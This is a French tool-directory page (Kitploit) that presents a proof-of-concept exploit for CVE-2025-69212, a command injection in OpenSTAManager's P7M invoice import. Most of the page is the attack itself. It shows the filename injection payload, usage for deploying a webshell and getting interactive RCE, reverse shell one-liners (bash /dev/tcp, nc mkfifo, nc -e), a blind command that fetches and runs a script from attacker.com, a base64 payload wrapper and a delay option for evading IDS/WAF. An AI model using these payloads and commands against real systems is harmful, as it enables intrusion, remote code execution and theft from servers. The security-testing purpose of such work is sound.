Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-69212-PoC — OpenSTAManager v2.9.8 et versions antérieures contiennent une vulnérabilité critique d'injection de commandes système dans la fonction de décodage des fichiers P7M (XML signé). | Kitploit
Outils/GitHubGitHub/bridgeralderson/cve-2025-69212-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHub
bridgeralderson/cve-2025-69212-poc

CVE-2025-69212-PoC

OpenSTAManager v2.9.8 et versions antérieures contiennent une vulnérabilité critique d'injection de commandes système dans la fonction de décodage des fichiers P7M (XML signé).

Voir le dépôt
313il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-69212

OpenSTAManager <= 2.9.8 — Injection de commandes OS dans le traitement de fichiers P7M

Aperçu

ChampDétails
CVE IDCVE-2025-69212
SévéritéCRITIQUE (CVSS 4.0: 9.4)
CWECWE-78: Injection de commandes OS
Versions affectéesOpenSTAManager <= 2.9.8
Fonction vulnérableXML::decodeP7M() dans src/Util/XML.php
Vecteur d'attaqueNom de fichier malveillant dans une archive ZIP téléchargée
AuthentificationRequis (tout utilisateur ayant accès à l'import de factures)
ImpactExécution complète de code à distance en tant qu'utilisateur du serveur web

Détails de la vulnérabilité

OpenSTAManager v2.9.8 et versions antérieures contiennent une vulnérabilité critique d'injection de commandes OS dans la fonction de décodage des fichiers P7M (XML signé). La méthode decodeP7M() dans src/Util/XML.php transmet les noms de fichiers contrôlés par l'utilisateur directement à la fonction exec() de PHP sans assainissement, permettant à des attaquants authentifiés d'exécuter des commandes système arbitraires sur le serveur.

Cause racine

root@kitploit:~
// src/Util/XML.php:100
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $output_file = $directory.'/'.basename($file, '.p7m');

    exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}

Le paramètre $file — qui provient des noms de fichiers dans les archives ZIP téléchargées — est entouré de guillemets doubles mais jamais assaini avec escapeshellarg(). Un attaquant peut concevoir un nom de fichier .p7m qui échappe au contexte des guillemets doubles et injecte des commandes shell arbitraires.

Points d'entrée

  1. plugins/importFE_ZIP/actions.php:126 — Vecteur principal lors du traitement des téléchargements ZIP contenant des factures électroniques
  2. plugins/importFE/src/FatturaElettronica.php:56 — Constructeur qui traite les fichiers .p7m individuels

Fonctionnalités

FonctionnalitéDescription
--checkVérifier si la cible est vulnérable (crée et vérifie un fichier marqueur)
--webshellDéployer une webshell PHP via injection de commandes OS
--rceExécution de commande interactive via webshell déployé
--reverse-shellDéclencher un reverse shell (méthodes python, nc, nc-e)
--cmdExécution de commande aveugle (fire-and-forget)
--shell-dirRépertoire d'écriture personnalisé pour webshell
--methodSélection de méthode de reverse shell
--proxySupport proxy HTTP (Burp Suite)
--delayLimitation des requêtes pour évasion IDS/WAF
Auto-détectionDétection automatique des IDs de module/plugin importFE_ZIP

Installation

root@kitploit:~
git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests

Utilisation

Authentification

root@kitploit:~
# Connexion avec identifiants
python3 exploit.py -t http://target.com -u admin -p secret --check

# Utiliser un cookie de session existant
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check

Vérification de vulnérabilité

root@kitploit:~
# Détection automatique du plugin et vérification de la vulnérabilité
python3 exploit.py -t http://target.com -u admin -p secret --check

# Avec IDs de module/plugin connus
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23

Déploiement de webshell

root@kitploit:~
# Déployer webshell dans le répertoire par défaut (files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# Répertoire et nom de fichier personnalisés
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php

RCE interactif

root@kitploit:~
# Déployer webshell + shell interactif
python3 exploit.py -t http://target.com -u admin -p secret --rce

# Avec webshell existant d'une exécution précédente
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce

Reverse shell

root@kitploit:~
# Reverse shell bash (par défaut, très fiable)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444

# Reverse shell python
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python

# Netcat avec mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc

# Netcat avec option -e
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e

Exécution de commande aveugle

root@kitploit:~
# Exécuter une commande (aucun retour affiché)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"

# Télécharger et exécuter une charge utile
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"

Options réseau

root@kitploit:~
# Via proxy Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080

# Avec délai entre requêtes (2 secondes)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2

# Ignorer la vérification SSL
python3 exploit.py -t https://target.com -u admin -p secret --check -k

Référence complète des options

root@kitploit:~
Target:
  -t, --target           URL de base de la cible

Authentification:
  -u, --user             Nom d'utilisateur pour connexion
  -p, --password         Mot de passe pour connexion
  -c, --cookie           Valeur PHPSESSID existante

Actions:
  --check                Vérifier si la cible est vulnérable
  --webshell             Déployer une webshell PHP
  --rce                  Shell interactif via webshell
  --reverse-shell        Reverse shell (LHOST LPORT)
  --cmd COMMAND          Exécution de commande aveugle

Options de shell:
  --shell-dir DIR        Répertoire d'écriture de la webshell (défaut: files)
  --shell-name NAME      Nom de fichier personnalisé pour webshell
  --method METHOD        Méthode de reverse shell: bash, python, nc, nc-e

Détection de plugin:
  --module-id ID         ID du module OpenSTAManager
  --plugin-id ID         ID du plugin importFE_ZIP

Réseau:
  --proxy URL            URL du proxy HTTP
  -k, --no-ssl-verify    Désactiver la vérification SSL
  --delay SECONDS        Délai entre les requêtes

Détails techniques

Structure de la charge utile

L'exploit crée une archive ZIP contenant un seul fichier .p7m avec un nom de fichier malveillant :

root@kitploit:~
invoice.p7m";INJECTED_COMMAND;echo ".p7m

Lorsque OpenSTAManager traite ce fichier, l'appel exec() résultant devient :

root@kitploit:~
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."

Le shell interprète les points-virgules comme séparateurs de commandes, exécutant la commande injectée entre l'appel openssl terminé et le echo final.

Contrainte de nom de fichier ZipArchive

Critique : ZipArchive::extractTo() de PHP traite les barres obliques (/) dans les noms de fichiers comme séparateurs de répertoires selon la spécification ZIP. Tout / dans le nom de fichier malveillant entraînera la division de l'entrée de l'archive en répertoires, cassant la charge utile de l'exploit.

Toutes les commandes injectées doivent éviter complètement /. Pour contourner complètement cette restriction et empêcher PHP exec() de se bloquer (ce qui peut immobiliser les workers du serveur et provoquer des timeouts), l'exploit enveloppe désormais automatiquement les charges utiles en Base64 et les exécute en arrière-plan :

root@kitploit:~
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &

Cela permet d'utiliser / naturellement à l'intérieur de la charge utile interne (par exemple, /dev/tcp/10.10.14.5/4444) sans casser la structure ZIP.

Méthodes de Reverse Shell

MéthodeCharge utileNécessite
bashbash -c 'bash -i >& /dev/tcp/H/P 0>&1'bash
pythonpython3 -c "import socket,os,subprocess;..."Python 3
ncrm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc HOST PORT >/tmp/fnetcat + mkfifo
nc-enc HOST PORT -e /bin/bashnetcat avec support -e

La méthode bash est désormais la méthode par défaut car elle est la plus fiable et native sur les cibles Linux.

Chemin de code vulnérable

root@kitploit:~
Télécharger ZIP via le plugin importFE_ZIP
    └── actions.php dispatch vers le gestionnaire de plugin
        └── ZipArchive::extractTo() extrait les fichiers
            └── Itère sur les fichiers .p7m
                └── XML::decodeP7M($filename)
                    └── exec('openssl smime ... -in "'.$filename.'"')
                        └── Le shell interprète les commandes injectées

Exemple de chaîne d'attaque

root@kitploit:~
1. --check             → Confirmer RCE via fichier marqueur
2. --webshell          → Déposer shell PHP dans le répertoire files/
3. --rce               → Exécution de commande interactive
4. Énumération           → id, cat /etc/passwd, ifconfig
5. Pivot               → Reverse shell vers l'attaquant, post-exploitation

Avertissement

Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation. L'accès non autorisé aux systèmes informatiques est illégal. Obtenez toujours une autorisation appropriée avant de tester. L'auteur décline toute responsabilité en cas d'utilisation abusive.

Références

  • CVE-2025-69212 (NVD)
  • Avis de sécurité GitHub — GHSA-25fp-8w8p-mx36
  • Dépôt OpenSTAManager
  • PoC par Lukasz Rybak
Télécharger l’outil